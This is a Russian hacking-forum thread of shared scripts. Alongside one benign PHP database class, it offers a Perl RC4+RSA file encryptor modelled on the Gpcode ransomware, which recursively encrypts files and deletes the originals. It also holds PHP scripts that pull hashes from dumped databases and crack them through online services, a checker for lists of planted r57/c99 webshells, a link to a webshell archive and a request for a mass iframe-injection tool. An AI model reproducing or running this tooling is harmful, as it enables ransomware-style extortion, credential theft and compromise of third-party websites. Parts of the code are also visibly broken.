Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. PEPSICOLA

    PEPSICOLA . . . . . 2L . . . . .

    Joined:
    14 Oct 2004
    Messages:
    1,025
    Likes Received:
    823
    Reputations:
    368
    Коллекция из 138 шелов:
    http://rapidshare.com/files/82050926/138Shells.zip

    На вирус тотале 29 из 33 антивирусов показали true :))))
    http://www.virustotal.com/analisis/95029739037a9ccbb47c53355171c36f
    на ваш страх и риск.
     
    4 people like this.
  2. slik jay

    slik jay New Member

    Joined:
    4 May 2008
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    мой скриптик для работы с бд.. элементарный, но может будет полезным.. :)

    как пользоваться

    извиняюсь за то что не пользуюсь тегом ПХП.. он глючит чегото..

    <?php

    /**
    * bmDataBase
    *
    * @copyright 2008 slik
    * @license http://www.gnu.org/licenses/gpl.html GNU General Public License
    * @version $Id: ver 0.02 Wed Jul 02 17:05:06 UTC 2008 $
    * @link http://dev.bmengine.net
    * @author slik <[email protected]>
    */

    // defines
    define("BM_DB_TRANSACTION_START", 1);
    define("BM_DB_TRANSACTION_END", 2);
    define("BM_DB_TRANSACTION_RESET", 3);

    define("BM_DB_SKIP", log(0));

    define("BM_DB_RETURN_RESOURCE", 0);
    define("BM_DB_RETURN_ARRAY", 1);
    define("BM_DB_RETURN_LASTID", 2);
    define("BM_DB_RETURN_ASSOCARRAY", 3);
    define("BM_DB_RETURN_BOOL", 4);

    class bmDataBase
    {
    private $ident_prefix = "";
    private $link = null;
    private $last_error;

    private $logging = true;
    private $query_logs;

    private $statistics;

    private $declimer_main = '#';
    private $declimer_right = '}}';
    private $declimer_left = '{{';

    static private $instance = null;

    /**
    * Create the only object of this class
    *
    * @return bmDataBase
    */
    static public function getInstance()
    {
    if (is_null(self::$instance)) self::$instance = new bmDataBase();
    return self::$instance;
    }

    /**
    * private methods
    */
    private function __construct()
    {
    $this->query_logs = array();
    $this->statistics = array();
    $this->statistics['queries_count'] = 0;
    }

    private function __clone() {}

    /**
    * Connect to database using dns syntax
    * mysql://user:password@host:port/database_name ...
    * or array
    * array (
    * 'scheme' = > 'mysql', // only MySQL supported
    * 'host' => 'host',
    * 'port' => 'port', // if need
    * 'user' => 'user',
    * 'pass' => 'password',
    * 'path' => 'database_name',
    * 'ident_prefix' => 'ident_prefix' // if need (can use bmDataBase::setIdentPrefix)
    * 'declimer_main' => 'declimer_main' // if need (can use bmDataBase::setMainDeclimer)
    * 'declimer_left' => 'declimer_left' // if need (can use bmDataBase::setLeftDeclimer)
    * 'declimer_right' => 'declimer_right' // if need (can use bmDataBase::setRightDeclimer)
    * )
    *
    * @param string|array $dsn
    * @return bool
    */
    public function connect($dsn)
    {
    // Load database driver and create its instance.
    $parsed = $this->parseDSN($dsn);
    if (!$parsed)
    return $this->_setLastError(-1, "Can't parse DNS string", "bmDataBase::connect");

    // try to set ident prefix
    if (isset($parsed['ident_prefix']))
    $this->setIdentPrefix($parsed['ident_prefix']);

    // try to set main declimer
    if (isset($parsed['declimer_main']))
    $this->setMainDeclimer($parsed['declimer_main']);

    // try to set left declimer
    if (isset($parsed['declimer_left']))
    $this->setLeftDeclimer($parsed['declimer_left']);

    // try to set right declimer
    if (isset($parsed['declimer_right']))
    $this->setRightDeclimer($parsed['declimer_right']);

    if (!is_callable('mysql_connect'))
    return $this->_setLastError(-1, "MySQL extension is not loaded", "mysql_connect");

    $ok = $this->link = @mysql_connect(
    $parsed['host'].(empty($parsed['port'])? "" : ":".$parsed['port']),
    $parsed['user'],
    $parsed['pass'],
    true
    );

    $this->_resetLastError();
    if (!$ok) return $this->_setLastError(-1, "Can't connect to database", "mysql_connect");
    $parsed['path'] = strtr($parsed['path'], array('/' => ''));
    $ok = @mysql_select_db($parsed['path'], $this->link);
    if (!$ok) return $this->_setLastError(-1, "Can't select database '{$parsed['path']}'", "mysql_select_db");

    return true;
    }


    /**
    * parseDSN(mixed $dsn)
    * Parse a data source name.
    * See parse_url() for details.
    *
    * @return array
    */
    protected function parseDSN($dsn)
    {
    // if argument is array
    if (is_array($dsn))
    {
    if (array_key_exists('scheme', $dsn) &&
    array_key_exists('host', $dsn) &&
    array_key_exists('user', $dsn) &&
    array_key_exists('pass', $dsn) &&
    array_key_exists('path', $dsn))
    return $dsn;
    else
    return null;
    }

    // if argument is string
    $parsed = @parse_url(strval($dsn));

    // argument empty..
    if (!$parsed) return null;

    // if used params
    $params = null;
    if (!empty($parsed['query']))
    {
    parse_str($parsed['query'], $params);
    $parsed += $params;
    }

    // save dns string
    $parsed['dsn'] = $dsn;

    return $parsed;
    }

    /**
    * set prefix for #_
    *
    * @param unknown_type $prefix
    */
    public function setIdentPrefix($prefix)
    {
    $this->ident_prefix = strval($prefix);
    }

    /**
    * set main declimer (default '#')
    *
    * @param string(1) $declimer
    */
    public function setMainDeclimer($declimer)
    {
    $tmp = strval($declimer);
    $this->declimer_main = $tmp[0];
    }

    /**
    * set right declimer (default '{{')
    *
    * @param string(2) $declimer
    */
    public function setRightDeclimer($declimer)
    {
    $this->declimer_right = substr(strval($declimer), 0, 2);
    }

    /**
    * set left declimer (default '}}')
    *
    * @param string(2) $declimer
    */
    public function setLeftDeclimer($declimer)
    {
    $this->declimer_right = substr(strval($declimer), 0, 2);
    }

    /**
    * log sql queryes ?
    *
    * @param bool $log_it
    */
    public function setLogging($log_it)
    {
    $this->logging = intval($log_it);
    }

    /**
    * Return last error info
    *
    * @return array
    */
    public function getLastError()
    {
    return $this->last_error;
    }

    /**
    * return statistics
    *
    * @return array
    */
    public function getStatistics()
    {
    return $this->statistics;
    }

    /**
    * sql query using placeholders:
    *
    * #s - string: string
    * #i - identificator: `indent`[, ...]
    * #v - value 'value'[, ...]
    * #a - assotiative array `key` = 'value'[, ...]
    * #d - integer 10
    * #f - float 0.0
    * #n - string, but if empty, if 0 or if null, sets to NULL
    * #_ - identification index for tables
    *
    * @param sting $sql[, ...]
    * @return array
    */
    public function query($sql)
    {
    $this->_resetLastError();
    $args = func_get_args();
    $sql = $this->_parseSql($args);

    return $this->_query($sql, BM_DB_RETURN_RESOURCE);
    }

    /**
    * return generated sql query
    *
    * @param string $sql[, ...]
    * @return string
    */
    public function query_debug($sql)
    {
    $args = func_get_args();
    return $this->_parseSql($args);
    }

    /**
    * sql query using placeholders (see bmDataBase::query)
    *
    * @param string $sql[, ...]
    * @return int (last id)
    */
    public function insert($sql)
    {
    $this->_resetLastError();
    $args = func_get_args();
    $sql = $this->_parseSql($args);

    return $this->_query($sql, BM_DB_RETURN_LASTID);
    }

    /**
    * sql query using placeholders (see bmDataBase::query)
    *
    * @param string $sql[, ...]
    * @return array
    */
    public function select($sql)
    {
    $this->_resetLastError();
    $args = func_get_args();
    $sql = $this->_parseSql($args);

    return $this->_query($sql, BM_DB_RETURN_ARRAY);
    }

    public function update($sql)
    {
    $this->_resetLastError();
    $args = func_get_args();
    $sql = $this->_parseSql($args);

    return $this->_query($sql, BM_DB_RETURN_BOOL);
    }

    /**
    * sql query using placeholders (see bmDataBase::query)
    *
    * @param string $sql[, ...]
    * @return assoc array
    */
    public function selectRow($sql)
    {
    $this->_resetLastError();
    $args = func_get_args();
    $sql = $this->_parseSql($args);

    return $this->_query($sql, BM_DB_RETURN_ASSOCARRAY);
    }

    /**
    * you can use transactions
    * actions:
    * BM_DB_TRANSACTION_START - start transaction
    * BM_DB_TRANSACTION_END - stop transaction (commit)
    * BM_DB_TRANSACTION_RESET - reset transaction (rollback)
    * @param int $action
    */
    public function transaction($action)
    {
    switch ($action)
    {
    case BM_DB_TRANSACTION_START:
    $this->query("BEGIN");
    break;

    case BM_DB_TRANSACTION_END:
    $this->query("COMMIT");
    break;

    case BM_DB_TRANSACTION_RESET:
    $this->query("ROLLBACK");
    break;
    }
    }

    protected function _setLastError($code, $msg, $query)
    {
    $info = array();
    $context = "";

    if (is_callable('debug_backtrace'))
    {
    $trace = debug_backtrace();
    $context = empty($trace[1]['class'])?
    $trace[1]['function']:
    $trace[1]['class']."::".$trace[1]['function'];
    $info['file'] = $trace[1]['file'];
    $info['line'] = $trace[1]['line'];
    $info['function'] = $trace[2]['function'];
    $info['class'] = $trace[2]['class'];
    }

    $this->last_error = array('code' => $code,
    'message' => $msg,
    'query' => $query,
    'context' => $context,
    'info' => $info);

    return false;
    }

    protected function _resetLastError()
    {
    $this->last_error = array();
    }

    protected function _logQuery($query)
    {
    if($this->logging)
    $this->query_logs[] = $query;
    }

    protected function _escape($str, $is_ident = false)
    {
    if($is_ident)
    return "`".str_replace("`", "``", strval($str))."`";
    elseif(is_null($str))
    return 'NULL';
    else
    return "'".mysql_real_escape_string(strval($str), $this->link)."'";
    }

    protected function _parseMacroses($sql)
    {
    $start = 0;
    $macroses = array();
    $macroses['placeholders'] = array();

    $i = 0;
    $p = 1;
    while (($pos = strpos($sql, $this->declimer_left, $start)) !== false)
    {
    $macroses[$i]['begin'] = $pos;
    $macroses[$i]['end'] = strpos($sql, $this->declimer_right, $pos+2) + 2;
    $macroses[$i]['macros'] = substr($sql, $macroses[$i]['begin'], $macroses[$i]['end']-$macroses[$i]['begin']);
    $chars = count_chars(substr($sql, $start, $macroses[$i]['begin']-$start), 0);
    $macroses[$i]['placeholders_start'] = $chars[ord($this->declimer_main)];
    $chars = count_chars($macroses[$i]['macros'], 0);
    $macroses[$i]['placeholders_count'] = $chars[ord($this->declimer_main)];

    $p += $macroses[$i]['placeholders_start'];

    for ($j=0; $j<$macroses[$i]['placeholders_count']; $j++)
    $macroses['placeholders'][$p++] = $i;

    $start = $macroses[$i]['end'];
    $i++;
    }
    return $macroses;
    }

    protected function _parseSql($args)
    {
    trim($args[0]);

    // #_
    $args[0] = strtr($args[0], array($this->declimer_main.'_' => $this->ident_prefix));

    if(count($args) > 1)
    {
    $skip = array();

    $macroses = $this->_parseMacroses($args[0]);

    for($i=1, $cnt=count($args); $i<$cnt; $i++)
    {
    if($args[$i] === BM_DB_SKIP)
    {
    $skip[$macroses[$macroses['placeholders'][$i]]['macros']] = "";
    foreach ($macroses['placeholders'] as $key => $val)
    {
    if($val == $macroses['placeholders'][$i])
    {
    unset($args[$key]);
    }
    }
    }
    }
    $args = array_values($args);

    $skip[$this->declimer_left] = " ";
    $skip[$this->declimer_right] = " ";
    $args[0] = strtr($args[0], $skip);

    $sql = explode($this->declimer_main, $args[0]);
    $main_sql = $sql[0];

    for ($i=1, $cnt=count($sql); $i<$cnt; $i++)
    {
    $type = $sql[$i][0];
    $sql[$i] = substr($sql[$i], 1);

    if(!isset($args[$i]))
    $args[$i] = null;

    switch ($type)
    {
    case 's': // -------------------------------------
    $main_sql .= strval($args[$i]);
    break;

    case 'i': // -------------------------------------
    if (is_null($args[$i]))
    return $this->_setLastError(-1, "Placeholder '#i' can't be 'NULL'", 'bmDataBase::query');
    elseif (is_array($args[$i]))
    {
    foreach ($args[$i] as $val)
    $main_sql .= $this->_escape($val, true).", ";
    $main_sql = substr($main_sql, 0, -2);
    }
    else
    $main_sql .= $this->_escape($args[$i], true);
    break;

    case 'v': // -------------------------------------
    if (is_array($args[$i]))
    {
    foreach ($args[$i] as $val)
    $main_sql .= $this->_escape($val).", ";
    $main_sql = substr($main_sql, 0, -2);
    }
    else
    $main_sql .= $this->_escape($args[$i]);
    break;

    case 'a': // -------------------------------------
    if(is_array($args[$i]))
    {
    foreach ($args[$i] as $key => $val)
    $main_sql .= $this->_escape($key, true)." = ".$this->_escape($val).", ";
    $main_sql = substr($main_sql, 0, -2);
    }
    else
    return $this->_setLastError(-1, "Placeholder '#a' must be array", "bmDataBase::query");
    break;
    /*
    case '_': // -------------------------------------
    $main_sql .= $this->ident_prefix;
    array_unshift($args, 0);
    break;*/

    case 'd': // -------------------------------------
    if (is_null($args[$i]))
    $main_sql .= 'NULL';
    else
    $main_sql .= intval($args[$i]);
    break;

    case 'f': // -------------------------------------
    if (is_null($args[$i]))
    $main_sql .= 'NULL';
    else
    $main_sql .= floatval($args[$i]);
    break;

    case 'n': // -------------------------------------
    if(empty($args[$i]) || is_null($args[$i]) || $args[$i] == 0)
    $main_sql .= 'NULL';
    else
    $main_sql .= $this->_escape($args[$i]);
    break;

    default: // -------------------------------------
    return $this->_setLastError(-1, "Unknown placeholder type '#".$type."'", 'bmDataBase::query');
    break;
    }

    $main_sql .= $sql[$i];
    }

    if(isset($args[$i+1]))
    $main_sql .= $sql[$i+1];
    }
    else
    $main_sql = $args[0];

    return $main_sql;
    }

    protected function _query($sql, $return_as)
    {
    // sql query
    $resource = @mysql_query($sql);
    $this->statistics['queries_count']++;

    if(!$resource)
    return $this->_setLastError(mysql_errno($this->link), mysql_error($this->link), $main_sql);

    // parse resources
    switch ($return_as)
    {
    case BM_DB_RETURN_RESOURCE:
    $return_val = $resource;
    break;

    case BM_DB_RETURN_ARRAY:
    $return_val = array();
    while ($row = @mysql_fetch_assoc($resource))
    $return_val[] = $row;
    break;

    case BM_DB_RETURN_LASTID:
    $return_val = @mysql_insert_id($this->link);
    break;

    case BM_DB_RETURN_ASSOCARRAY:
    $return_val = @mysql_fetch_assoc($resource);
    break;
    case BM_DB_RETURN_BOOL:
    $return_val = true;
    break;
    }

    $this->statistics['affected_rows'] = mysql_affected_rows($this->link);

    return $return_val;
    }
    }

    ?>
     
    #382 slik jay, 5 Jul 2008
    Last edited: 5 Jul 2008
  3. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Rc4+rsa шифровщик/дешифровщик

    По мотивам сообщений о вирусе Gpcode. Не вирус, естественно, обычный шифровщик файлов, просто заинтересовался крипт-модулями в перле. Состоит из трех скриптов:
    1. генератор ключей (сохраняются в отдельном каталоге, эти ключи также можно встроить в сам код).
    2. собственно шифровщик файлов - сами файлы шифруются алгоритмом RC4 (ключ генерится рандомно), формируется список "файл - RC4-ключ", каждая пара разделена табулятором. После шифрования файлов список шифруется открытым ключом RSA, сгенеренным первым скриптом. Закриптованные файлы сохраняются в том же каталоге, что и оригиналы, к их именам добавляется ._CRYPT (хе-хе). Исходный файл удаляется.
    3. дешифровщик файлов - дешифрует сначала список файлов и ключей, используя закрытый ключ RSA, затем сами файлы.

    1. Генератор ключей
    Code:
    #!/usr/bin/perl
    
    use strict;
    use warnings;
    use diagnostics;
    use Crypt::RSA;
    
    sub myexit ($);
    
    my $rsa = Crypt::RSA->new ();
    my ($public, $private) =
      $rsa->keygen (
        'Identity'  => '[email protected]',
        'Size'      => 1024,
        'Password'  => 'Are you really thinking that you can hack my password phrase, eh?',
        'Verbosity' => 1,
        'Filename'  => '/home/user/rsakeys/mykey', # в каталоге /home/user/rsakeys получим пару ключей mykey.public и mykey.private
      ) or myexit 'RSA keygen error: ' . $rsa->errstr, -1;
    
    exit 0;
    
    sub myexit ($$) {
      my ($msg, $code) = @_;
    
      print $msg, "\n";
      exit $code;
    }
    
    2. Шифровщик
    Code:
    #!/usr/bin/perl
    
    use strict;
    use warnings;
    use diagnostics;
    use Crypt::RC4;
    use Crypt::RSA;
    
    sub tree ($);
    sub encrypt_file ($);
    sub encrypt_list ();
    sub myexit ($$);
    
    tree './directory'; # Указываем путь к каталогу, обходим его рекурсивно
    encrypt_list ();
    exit 0;
    
    # Генерируем парольную фразу для RC4
    sub genphrase () { 
      my (@chars, $charlen, $passlen, $passphrase, $i);
      @chars = qw (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9);
      $charlen = scalar @chars;
      $passlen = 10;
      for $i (0 .. $passlen - 1) {
        $passphrase .= $chars[int (rand ($charlen - 1))];
      }
      return $passphrase;
    }
    
    # Шифруем файл алгоритмом RC4
    sub encrypt_file ($) {
      my $fname = shift;
      my ($F, $content, $rdeny, $wdeny, $rc4key, $rc4, $listfile);
    
      #print 'Starting encryption: ', $fname, "\n";
      $listfile = '_!_list_!_.txt'; # список пар "имя файла - RC4-ключ"
      $rc4key = genphrase ();
      #print $fname, "\t", $rc4key, "\n";
      $rc4 = Crypt::RC4->new ($rc4key);
      open $F, '<', $fname or $rdeny = 1;
      unless ($rdeny) {
        $content .= $_ while <$F>;
        close $F;
        $content = $rc4->RC4 ($content);
        open $F, '>', $fname . '._CRYPT' or $wdeny = 1;
        unless ($wdeny) {
          binmode $F;
          print $F $content;
          close $F;
          open $F, '>>', $listfile;
          print $F $fname, "\t", $rc4key, "\n";
          close $F;
          unlink $fname;
        }
        #print "Encryption complete\n";
      }
      return 0;
    }
    
    # Шифруем фай-список открытым ключом RSA
    sub encrypt_list () {
      my ($rsa, $public, $F, $content, $listfile);
    
      $rsa = Crypt::RSA->new ();
      # два варианта использования ключа - брать из файла или внедрять прямо в код
      # $public = Crypt::RSA::Key::Public ('Filename' => '/home/user/rsakeys/mykey.public');
      $public = bless ( {
        'e' => 65537,
        'n' => 'тута_очень_многа_цифер ))',
        'Version' => '1.97',
        'Identity' => '[email protected]'
      }, 'Crypt::RSA::Key::Public' );
      $listfile = '_!_list_!_.txt';
      open $F, '<', $listfile;
      $content .= $_ while <$F>;
      close $F;
      $content = $rsa->encrypt (
        'Message' => $content,
        'Key' => $public,
        'Armour' => 0,
      );
      open $F, '>', $listfile . '.new';
      binmode $F;
      print $F $content;
      close $F;
      unlink $listfile;
      rename $listfile . '.new', $listfile;
      return 0;
    }
    
    # Обход каталога рекурсивно
    sub tree ($) {
      my $dirname = shift;
      my ($DIR, $fullpath, @files, $file, $deny);
    
      opendir $DIR, $dirname or $deny = 1;#myexit 'opendir() error: ' . $!, -1;
      unless ($deny) {
        @files = readdir $DIR;
        foreach $file (@files) {
          next if $file eq '.' || $file eq '..';
          $fullpath = $dirname . '/' . $file;
          if (-d $fullpath) {
            #print "$fullpath - directory\n";
            tree $fullpath;
          } elsif (-f $fullpath) {
            encrypt_file $fullpath if $fullpath =~ /\.txt$/; # обрабатываем тока *.txt файлы
          }
        }
        closedir $DIR;
      }
    }
    
    sub myexit ($$) {
      my ($msg, $code) = @_;
    
      print $msg, "\n";
      exit $code;
    }
    
    3. Декриптор файлов
    Code:
    #!/usr/bin/perl
    
    use strict;
    use warnings;
    use diagnostics;
    use Crypt::RSA;
    use Crypt::RC4;
    
    sub decode_list ($);
    sub decode_files ($);
    sub myexit ($$);
    
    my $content = decode_list '_!_list_!_.txt';
    decode_files $content;
    
    # Дешифруем список файлов и ключей закрытым ключом RSA
    sub decode_list ($) {
      my $listname = shift;
      my ($content, $F, $rsa, $private);
    
      open $F, '<', $listname or myexit 'list file open error: ' . $!, -1;
      binmode $F;
      $content .= $_ while <$F>;
      close $F;
      $rsa = Crypt::RSA->new () or myexit 'RSA init error: ' . Crypt::RSA->errstr, -1;
      $private = Crypt::RSA::Key::Private->new ( # юзаем приватный ключ из внешнего файла
        'Filename' => '/home/isn/rsakeys/krypt3r.private',
        'Password' => 'Are you really thinking that you can hack my password phrase, eh?', # не забываем парольную фразу
      );
      $content = $rsa->decrypt (
        'Cyphertext' => $content,
        'Key' => $private,
        'Armour' => 0,
      ) or myexit 'RSA decripting error: ' . $rsa->errstr, -1;
      return $content;
    }
    
    # парсим расшифрованный список и затем расшифровываем файлы
    # криптованные файлы удаляем
    sub decode_files ($) {
      my $content = shift;
      my (@lines, $line, $fname, $newfname, $rc4key, $rc4, $F, $cnt);
    
      @lines = split /\n/, $content;
      foreach $line (@lines) {
        ($fname, $rc4key) = split /\t/, $line;
        $rc4 = Crypt::RC4->new ($rc4key);
        undef $cnt;
        open $F, '<', $fname . '._CRYPT' or myexit 'encrypted file open error:' . $!, -1;
        $cnt .= $_ while <$F>;
        close $F;
        $cnt = $rc4->RC4 ($cnt);
        open $F, '>', $fname or myexit 'plaintext file open error: ' . $!, -1;
        print $F $cnt;
        close $F;
        unlink $fname . '._CRYPT';
      }
    }
    
    sub myexit ($$) {
      my ($msg, $code) = @_;
    
      print $msg, "\n";
      exit $code;
    }
    
    Тестилось под линуксом. Требуются модули Crypt::RSA и Crypt::RC4. Доводить до ума уже лень =) Может, кто-нить заюзает.
     
  4. bulyako

    bulyako New Member

    Joined:
    5 Jul 2008
    Messages:
    2
    Likes Received:
    1
    Reputations:
    0
    Аналоговые, следящие за скроллингом часы

    Аналоговые, следящие за скроллингом часы
    Скрипт поместите между <HEAD> и </HEAD>

     
    1 person likes this.
  5. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    s/Полезные/Позорные/
     
  6. YaLTeR

    YaLTeR New Member

    Joined:
    18 Jun 2008
    Messages:
    8
    Likes Received:
    3
    Reputations:
    3
    Яваскрипт

    Вот еще правда не знаю чем вызвано.
    Попробуйте врубить в ИЕ. комп от перезагрузки страницы может повиснуть.
    HTML:
    <html>
    <head>
    </head>
    <body>
    <form onSubmit=alert()>
    </form>
    <script>document.forms[0].submit()</script>
    </body>
    </html>
    
     
  7. MaZaHaKer

    MaZaHaKer Elder - Старейшина

    Joined:
    19 Jan 2008
    Messages:
    93
    Likes Received:
    33
    Reputations:
    0
    =/ не совсем полезный скрипт .
     
    1 person likes this.
  8. SUBJECT617

    SUBJECT617 Elder - Старейшина

    Joined:
    6 Aug 2007
    Messages:
    73
    Likes Received:
    34
    Reputations:
    -2
    Скрипт хавает БД, вытягивает оттуда хэши, проверяет их на сервисе онлайн проверок и складывает по файликам(Найденное, ненайденное)

    Если у кого очень слабая машина или по каким другим причинам пасс про и подобные проги юзать нет возможности, да еще и подождать могут, надеюсь те оценят скрипт... Медленный он из-за задержек после каждого 10го хэша, я бороться с этим уже устал поэтому выложу тут, вдруг кому пригодится или под себя поправит.

    Версия для md5.xek.cc (предпочтительна)
    PHP:
    <?php 
    if ($argc<4

    echo 
    '========================================================================='."\n"
    echo 
    '========================================================================='."\n"
    echo 
    "Usage: $argv[0] <database> <found> <not_found>\n\n\n"
    echo 
    'Where database.txt - path to database with'." ':' ".'separator,'."\n".'found.txt - path to file, where you will see found hashes,'."\n"
    echo 
    'not_found.txt - path to file with hashes not found in md5.xek.cc database.'."\n"
    echo 
    '========================================================================='."\n"
    echo 
    '========================================================================='."\n"
    die; 

    $id 0
    $filename "$argv[1]"
    $filename2 "$argv[2]"
    $filename3 "$argv[3]"
    $of2 fopen($filename2,"w+"); 
    $of3 fopen($filename3,"w+"); 
    $all count(file($filename)); 
    echo 
    "                               Database contains $all entries\n\n"
    function 
    post($data
    {  
         
    $buf ''
         
    $fp = @fsockopen('md5.xek.cc',80);   
        if (
    $fp) {  
              
    fputs($fp'POST /index.php HTTP/1.1'."\n");   
              
    fputs($fp'Host: md5.xek.cc'."\n");   
              
    fputs($fp'Content-type: application/x-www-form-urlencoded'."\n");   
              
    fputs($fp'Content-length: ' strlen($data) . "\n"); 
              
    fputs($fp'User-Agent: PHP Script'."\n");   
              
    fputs($fp'Connection: close'."\n\n");   
              
    fputs($fp$data);                 
              while(!
    feof($fp)) 
              
    $buf .= fread($fp,2048); 
              
    preg_replace('/\W[b]\W[\n][0-9]{6}\W\W[b]\W/','',$buf); 
              
    fclose($fp);  
              return 
    $buf
         } 
         else{  
              return 
    'Server is not responding!';  
         } 
           

    $content join('',file($filename)); 
    $fcontent preg_replace("/\n/",":",$content); 
    preg_match_all('/[0-9a-z]{32}/',$fcontent$whatfound); 
    while (@
    $whatfound[0][$id] != ''

    $hash $whatfound[0][$id]; 
    $page post("hash=$hash&act=find"); 
    if (
    preg_match('/\W[b]\W(.{3,30})\W\W[b]\W/',$page,$matches)) 

    $pass $matches[1]; 
    fputs($of2,"$id : $pass\n");
    $status '+'

    else 

    fputs($of3,"$id : $hash\n");
    $status ''

    $id += 1;
    $checked count(file($filename2)) + count(file($filename3));
    echo 
    "                                           $checked$status\n";

    @
    fclose($of1); 
    @
    fclose($of2); 
    @
    fclose($of3); 
    echo 
    '                                          Done!'."\n"
    $found count(file($filename2)); 
    echo 
    '                               ++++++++++++++++++++++++++'."\n"
    echo 
    "                                $found of $all hashes found!"."\n"
    echo 
    '                               ++++++++++++++++++++++++++'."\n\n"
    ?>
    Версия для hashkiller.com
    PHP:
    <?php 
    if ($argc<4

    echo 
    '========================================================================='."\n"
    echo 
    '========================================================================='."\n"
    echo 
    "Usage: $argv[0] <database> <found> <not_found>\n\n\n"
    echo 
    'Where database.txt - path to database'."\n".'found.txt - path to file, where you will see found hashes,'."\n"
    echo 
    'not_found.txt - path to file with hashes not found in hashkiller.com database.'."\n"
    echo 
    '========================================================================='."\n"
    echo 
    '========================================================================='."\n"
    die; 

    $id 0
    $filename "$argv[1]"
    $filename2 "$argv[2]"
    $filename3 "$argv[3]"
    $of2 fopen($filename2,"w+"); 
    $of3 fopen($filename3,"w+"); 
    $all count(file($filename)); 
    echo 
    "                               Database contains $all entries\n\n"
    function 
    post($data
    {  
         
    $buf ''
         
    $fp = @fsockopen('hashkiller.com',80);   
        if (
    $fp) {  
              
    fputs($fp'POST /crack/ HTTP/1.1'."\n");   
              
    fputs($fp'Host: hashkiller.com."\n");   
              fputs($fp, '
    Content-typeapplication/x-www-form-urlencoded'."\n");   
              fputs($fp, '
    Content-length' . strlen($data) . "\n"); 
              fputs($fp, '
    User-AgentPHP Script'."\n");   
              fputs($fp, '
    Connectionclose'."\n\n");   
              fputs($fp, $data);                 
              while(!feof($fp)) 
              $buf .= fread($fp,2048);           
              fclose($fp);  
              return $buf; 
         } 
         else{  
              return '
    Server is not responding!';  
         } 
           

    $content = join('',file($filename));  
    $fcontent = preg_replace("/\n/",":",$content); 
    preg_match_all('
    /[0-9a-z]{32}/',$fcontent, $whatfound); #Ищем все хэши в базе
    while (@$whatfound[0][$id] != '') 

    $hash = $whatfound[0][$id];  
    $page = post("md5_crack=;$hash&submit=Crack"); #Отправляем наш хэш
    if (preg_match('
    /\w\w\w\w\W\W\W[a-z]{10}\W[a-z]{3}\W[a-z]{8}\W(.*)/',$page,$matches)) 

    $pass = $matches[1]; 
    fputs($of2,"$id : $pass\n"); 
    $status = '
    +';

    else 

    fputs($of3,"$id : $hash\n");  
    $status = '';

    $id += 1;
    $checked = count(file($filename2)) + count(file($filename3));
    echo "                                            $checked$status\n";

    @fclose($of1); 
    @fclose($of2); 
    @fclose($of3); 
    echo '                                          
    Done!'."\n"; 
    $found = count(file($filename2)); 
    echo '                               
    ++++++++++++++++++++++++++'."\n"; 
    echo "                                $found of $all hashes found!"."\n"; 
    echo '                               
    ++++++++++++++++++++++++++'."\n\n"; 
    ?>
    Можно и на многие многи другие сервисы переписать но вот нужно ли?

    ЗЫ Чтобы все было в виде pass;mail юзайте ворд и эксель... Просто заменяйте разделителль на табуляцию, пихаете в эксель, сортируете по номеру ну а дальше разберетесь=)

    EDIT: Упс, проморгал что сокет на версии для хэшкиллера конектился к мд5.хек.сс=))


    С регекспом во второй версии какойто ужас.... Чет мне кажется пхп тег буянит :confused:
     
    #388 SUBJECT617, 13 Jul 2008
    Last edited: 13 Jul 2008
    3 people like this.
  9. MaZaHaKer

    MaZaHaKer Elder - Старейшина

    Joined:
    19 Jan 2008
    Messages:
    93
    Likes Received:
    33
    Reputations:
    0
    кто захочет - думаю сам перепишет .... :rolleyes:
     
  10. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,055
    Likes Received:
    376
    Reputations:
    460
    Проверка шелов

    Когда то, давным давно, нужно было проверить пачку шелов на работоспособность и определить их тип, и был накатан такой не большой скриптик :)

    PHP:
    <?php

    if(function_exists('ini_set')) {
        
    ini_set('ignore_user_abort ',1);
        
    ini_set 'max_execution_time'999999999999 );

    if(
    function_exists('ini_alter')) {
         
    ini_alter('ignore_user_abort ',1);
        
    ini_alter 'max_execution_time'999999999999 );
    }
    if(
    function_exists('ignore_user_abort') && function_exists('set_time_limit')) {
        
    ignore_user_abort(1);
        
    set_time_limit(0);
    }

    $shell_txt explode("\n",file_get_contents('shell.txt'));
    $shell_count count($shell_txt);
    $shell_array = array();

    function 
    cheak_shell ($url) {
        
            
    $ch curl_init();
            
    curl_setopt($chCURLOPT_URL$url);
            
    curl_setopt($chCURLOPT_TIMEOUT30);
            
    curl_setopt($chCURLE_OPERATION_TIMEOUTED30);
            
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
            
    $result_curl curl_exec($ch);
            
    curl_close($ch);
            
            
    $result_curl str_replace(array("\r","\n","\t"),' ',$result_curl);
            
            if(
    strstr($result_curl,'r57shell'))    {
                
    $url_good '+ '$url " r57shell \n"
            } elseif(
    strstr($result_curl,'c99madshell')) {
                
    $url_good '+ '.$url " c99madshell \n";
            }
            return 
    $url_good;
    }

    for(
    $i=0;$i<$shell_count;$i++) {
        if (!
    in_array $shell_txt[$i], $shell_array)) {
            
    $shell_array[] = $shell_txt[$i];
            
    $url_good .= cheak_shell($shell_txt[$i]);
        }
    }

    file_put_contents ('good_shells.txt'$url_good."END");
     
    #390 DIAgen, 14 Jul 2008
    Last edited: 14 Jul 2008
  11. zer0ska

    zer0ska Elder - Старейшина

    Joined:
    5 Dec 2007
    Messages:
    103
    Likes Received:
    9
    Reputations:
    0
    2 people like this.
  12. otmorozok428

    otmorozok428 Banned

    Joined:
    19 Oct 2007
    Messages:
    127
    Likes Received:
    88
    Reputations:
    17
  13. V1@DDD

    V1@DDD New Member

    Joined:
    16 Feb 2008
    Messages:
    14
    Likes Received:
    1
    Reputations:
    0
    Можете написать, кому не трудно скрипт для вставки кода во все файлы php/html/asp и т.д. на всем сервере? Ну айфреймер. Сколько не искал есть только по фтп, а по веб нету. :(
     
    1 person likes this.
  14. zer0ska

    zer0ska Elder - Старейшина

    Joined:
    5 Dec 2007
    Messages:
    103
    Likes Received:
    9
    Reputations:
    0
